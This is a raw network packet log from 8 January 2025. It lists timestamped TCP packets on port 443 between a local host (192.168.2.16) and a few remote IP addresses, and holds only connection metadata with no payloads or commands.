Jan 8, 2025 15:45:36.517533064 CET	49845	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:36.563329935 CET	443	49845	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:36.967637062 CET	443	49848	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:36.967943907 CET	49848	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:36.967957973 CET	443	49848	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:36.969377995 CET	443	49848	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:36.969466925 CET	49848	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:36.969804049 CET	49848	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:36.969825983 CET	49848	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:36.969882011 CET	49848	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:36.969897985 CET	443	49848	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:36.969949961 CET	49848	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:36.970225096 CET	49849	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:36.970257998 CET	443	49849	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:36.970330954 CET	49849	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:36.970549107 CET	49849	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:36.970562935 CET	443	49849	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:37.089560986 CET	443	49831	142.250.185.196	192.168.2.16
Jan 8, 2025 15:45:37.089631081 CET	443	49831	142.250.185.196	192.168.2.16
Jan 8, 2025 15:45:37.089694977 CET	49831	443	192.168.2.16	142.250.185.196
Jan 8, 2025 15:45:37.316591978 CET	443	49845	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:37.317004919 CET	443	49845	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:37.317071915 CET	49845	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:37.317630053 CET	49845	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:37.317647934 CET	443	49845	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:37.319952965 CET	49831	443	192.168.2.16	142.250.185.196
Jan 8, 2025 15:45:37.319984913 CET	443	49831	142.250.185.196	192.168.2.16
Jan 8, 2025 15:45:37.353599072 CET	49850	443	192.168.2.16	34.149.120.191
Jan 8, 2025 15:45:37.353629112 CET	443	49850	34.149.120.191	192.168.2.16
Jan 8, 2025 15:45:37.353707075 CET	49850	443	192.168.2.16	34.149.120.191
Jan 8, 2025 15:45:37.353919029 CET	49850	443	192.168.2.16	34.149.120.191
Jan 8, 2025 15:45:37.353929996 CET	443	49850	34.149.120.191	192.168.2.16
Jan 8, 2025 15:45:37.425637960 CET	443	49849	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:37.425909042 CET	49849	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:37.425920963 CET	443	49849	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:37.426234007 CET	443	49849	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:37.426562071 CET	49849	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:37.426624060 CET	443	49849	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:37.469314098 CET	49849	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:37.822655916 CET	443	49850	34.149.120.191	192.168.2.16
Jan 8, 2025 15:45:37.822973967 CET	49850	443	192.168.2.16	34.149.120.191
Jan 8, 2025 15:45:37.823003054 CET	443	49850	34.149.120.191	192.168.2.16
Jan 8, 2025 15:45:37.824045897 CET	443	49850	34.149.120.191	192.168.2.16
Jan 8, 2025 15:45:37.824110031 CET	49850	443	192.168.2.16	34.149.120.191
Jan 8, 2025 15:45:37.825064898 CET	49850	443	192.168.2.16	34.149.120.191
Jan 8, 2025 15:45:37.825124979 CET	443	49850	34.149.120.191	192.168.2.16
Jan 8, 2025 15:45:37.825248957 CET	49850	443	192.168.2.16	34.149.120.191
Jan 8, 2025 15:45:37.825256109 CET	443	49850	34.149.120.191	192.168.2.16
Jan 8, 2025 15:45:37.866309881 CET	49850	443	192.168.2.16	34.149.120.191
Jan 8, 2025 15:45:37.952060938 CET	443	49850	34.149.120.191	192.168.2.16
Jan 8, 2025 15:45:37.952393055 CET	443	49850	34.149.120.191	192.168.2.16
Jan 8, 2025 15:45:37.952475071 CET	49850	443	192.168.2.16	34.149.120.191
Jan 8, 2025 15:45:37.952702999 CET	49850	443	192.168.2.16	34.149.120.191
Jan 8, 2025 15:45:37.952723980 CET	443	49850	34.149.120.191	192.168.2.16
Jan 8, 2025 15:45:37.952733994 CET	49850	443	192.168.2.16	34.149.120.191
Jan 8, 2025 15:45:37.952774048 CET	49850	443	192.168.2.16	34.149.120.191
Jan 8, 2025 15:45:37.971425056 CET	49851	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:37.971467018 CET	443	49851	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:37.971546888 CET	49851	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:37.971848965 CET	49851	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:37.971863031 CET	443	49851	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:38.448122025 CET	443	49851	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:38.448441029 CET	49851	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:38.448456049 CET	443	49851	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:38.449489117 CET	443	49851	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:38.449565887 CET	49851	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:38.449876070 CET	49851	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:38.449891090 CET	49851	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:38.449939013 CET	49851	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:38.449945927 CET	443	49851	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:38.450001001 CET	49851	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:38.450346947 CET	49852	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:38.450382948 CET	443	49852	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:38.450485945 CET	49852	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:38.450690985 CET	49852	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:38.450706005 CET	443	49852	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:38.926806927 CET	443	49852	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:38.927747011 CET	49852	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:38.927766085 CET	443	49852	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:38.928785086 CET	443	49852	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:38.928852081 CET	49852	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:38.933965921 CET	49852	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:38.934050083 CET	443	49852	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:38.935827971 CET	49852	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:38.935836077 CET	443	49852	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:38.980340004 CET	49852	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.109731913 CET	443	49852	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:39.109783888 CET	443	49852	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:39.109807968 CET	443	49852	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:39.109829903 CET	443	49852	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:39.109865904 CET	443	49852	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:39.109872103 CET	49852	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.109894991 CET	443	49852	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:39.109908104 CET	49852	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.109946012 CET	49852	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.110021114 CET	443	49852	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:39.110438108 CET	443	49852	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:39.110469103 CET	443	49852	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:39.110480070 CET	49852	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.110488892 CET	443	49852	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:39.110527992 CET	49852	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.110536098 CET	443	49852	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:39.143897057 CET	49853	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.143961906 CET	443	49853	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:39.144036055 CET	49853	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.144390106 CET	49854	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.144424915 CET	443	49854	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:39.144498110 CET	49854	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.144794941 CET	49853	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.144810915 CET	443	49853	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:39.145148993 CET	49855	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.145158052 CET	443	49855	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:39.145204067 CET	49855	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.145510912 CET	49856	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.145518064 CET	443	49856	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:39.145565987 CET	49856	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.145849943 CET	49857	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.145859957 CET	443	49857	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:39.145910025 CET	49857	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.146756887 CET	49854	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.146770000 CET	443	49854	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:39.147008896 CET	49855	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.147017002 CET	443	49855	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:39.147237062 CET	49856	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.147245884 CET	443	49856	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:39.147515059 CET	49857	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.147525072 CET	443	49857	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:39.156330109 CET	49852	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.156341076 CET	443	49852	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:39.199569941 CET	443	49852	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:39.199615002 CET	443	49852	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:39.199687004 CET	49852	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.199702024 CET	443	49852	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:39.199754953 CET	49852	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.199877977 CET	443	49852	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:39.199999094 CET	443	49852	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:39.200041056 CET	49852	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.200158119 CET	49852	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.200169086 CET	443	49852	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:39.200640917 CET	49859	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.200656891 CET	443	49859	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:39.200717926 CET	49859	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.201328039 CET	49859	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.201344013 CET	443	49859	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:39.598737001 CET	443	49853	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:39.599020958 CET	49853	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.599051952 CET	443	49853	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:39.600102901 CET	443	49853	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:39.600171089 CET	49853	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.600470066 CET	49853	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.600481033 CET	49853	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.600543022 CET	443	49853	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:39.600575924 CET	49853	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.600605965 CET	49853	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.600776911 CET	443	49855	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:39.600955963 CET	49855	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.600959063 CET	49860	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.600965023 CET	443	49855	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:39.600994110 CET	443	49860	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:39.601074934 CET	49860	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.601263046 CET	49860	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.601275921 CET	443	49860	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:39.602039099 CET	443	49855	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:39.602097988 CET	49855	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.602472067 CET	49855	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.602472067 CET	49855	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.602518082 CET	49855	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.602539062 CET	443	49855	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:39.602581978 CET	49855	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.602812052 CET	49861	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.602854967 CET	443	49861	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:39.602955103 CET	49861	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.603173971 CET	49861	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.603183985 CET	443	49861	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:39.605669975 CET	443	49854	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:39.605910063 CET	49854	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.605926991 CET	443	49854	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:39.606940031 CET	443	49854	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:39.607037067 CET	49854	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.607512951 CET	49854	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.607527971 CET	49854	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.607573986 CET	49854	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.607578993 CET	443	49854	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:39.607619047 CET	49854	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.607903957 CET	49862	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.607913971 CET	443	49862	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:39.607978106 CET	49862	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.608169079 CET	49862	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.608180046 CET	443	49862	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:39.619680882 CET	443	49857	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:39.620212078 CET	49857	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.620229959 CET	443	49857	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:39.620829105 CET	443	49856	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:39.621002913 CET	49856	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.621018887 CET	443	49856	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:39.621311903 CET	443	49857	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:39.621427059 CET	49857	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.621733904 CET	49857	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.621751070 CET	49857	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.621799946 CET	443	49857	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:39.621802092 CET	49857	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.621851921 CET	49857	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.622035027 CET	443	49856	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:39.622112036 CET	49856	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.622112036 CET	49863	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.622138977 CET	443	49863	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:39.622246981 CET	49863	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.622375965 CET	49856	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.622387886 CET	49856	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.622428894 CET	49856	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.622438908 CET	443	49856	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:39.622482061 CET	49856	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.622585058 CET	49864	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.622623920 CET	443	49864	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:39.622678995 CET	49864	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.622765064 CET	49863	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.622776985 CET	443	49863	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:39.622894049 CET	49864	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.622908115 CET	443	49864	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:39.671922922 CET	443	49859	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:39.672203064 CET	49859	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.672220945 CET	443	49859	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:39.673301935 CET	443	49859	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:39.673378944 CET	49859	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.673800945 CET	49859	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.673800945 CET	49859	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.673871040 CET	443	49859	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:39.673871994 CET	49859	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.673938990 CET	49859	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.674328089 CET	49865	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.674374104 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:39.674438000 CET	49865	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.674643993 CET	49865	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:39.674659014 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.065280914 CET	443	49860	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.065584898 CET	49860	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.065601110 CET	443	49860	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.066617966 CET	443	49860	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.066694975 CET	49860	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.067071915 CET	49860	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.067142963 CET	443	49860	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.067251921 CET	49860	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.067259073 CET	443	49860	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.071185112 CET	443	49862	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.072678089 CET	49862	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.072690964 CET	443	49862	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.073790073 CET	443	49862	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.073894978 CET	49862	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.074219942 CET	49862	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.074282885 CET	443	49862	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.074348927 CET	49862	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.074357986 CET	443	49862	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.087694883 CET	443	49863	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.087943077 CET	49863	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.087975025 CET	443	49863	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.089505911 CET	443	49861	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.089668036 CET	49861	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.089674950 CET	443	49861	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.090692997 CET	443	49861	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.090754986 CET	49861	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.091001987 CET	49861	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.091065884 CET	443	49861	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.091125965 CET	49861	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.091131926 CET	443	49861	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.091466904 CET	443	49863	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.091522932 CET	49863	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.091758966 CET	49863	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.091820955 CET	443	49863	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.091847897 CET	49863	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.105742931 CET	443	49864	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.105983019 CET	49864	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.106005907 CET	443	49864	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.107009888 CET	443	49864	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.107083082 CET	49864	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.107331991 CET	49864	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.107388973 CET	443	49864	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.107445002 CET	49864	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.114326954 CET	49860	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.114357948 CET	49862	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.131916046 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.132183075 CET	49865	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.132210016 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.133291006 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.133361101 CET	49865	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.133631945 CET	49865	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.133701086 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.133780956 CET	49865	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.133791924 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.135337114 CET	443	49863	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.145338058 CET	49863	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.145365953 CET	443	49863	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.145389080 CET	49861	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.155337095 CET	443	49864	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.160370111 CET	49864	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.160377979 CET	443	49864	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.176515102 CET	49865	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.192323923 CET	49863	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.199425936 CET	443	49860	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.199470997 CET	443	49860	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.199501991 CET	443	49860	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.199541092 CET	443	49860	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.199539900 CET	49860	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.199558020 CET	443	49860	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.199579954 CET	49860	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.199624062 CET	443	49860	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.199659109 CET	443	49860	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.199671030 CET	49860	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.199676037 CET	443	49860	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.199707031 CET	443	49860	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.199709892 CET	49860	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.199718952 CET	443	49860	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.199757099 CET	49860	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.199922085 CET	443	49860	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.199989080 CET	443	49860	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.200032949 CET	49860	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.200845003 CET	49860	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.200860023 CET	443	49860	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.208337069 CET	49864	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.218622923 CET	443	49862	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.218977928 CET	443	49862	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.219044924 CET	49862	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.219587088 CET	49862	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.219593048 CET	443	49862	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.232316971 CET	443	49863	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.232523918 CET	443	49863	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.232583046 CET	49863	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.232606888 CET	443	49863	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.232709885 CET	443	49863	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.232757092 CET	49863	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.232767105 CET	443	49863	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.232965946 CET	443	49863	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.233014107 CET	49863	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.233418941 CET	49863	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.233447075 CET	443	49863	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.244066000 CET	443	49861	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.244187117 CET	443	49861	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.244250059 CET	49861	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.244930983 CET	49861	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.244955063 CET	443	49861	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.246536016 CET	49866	443	192.168.2.16	188.114.97.3
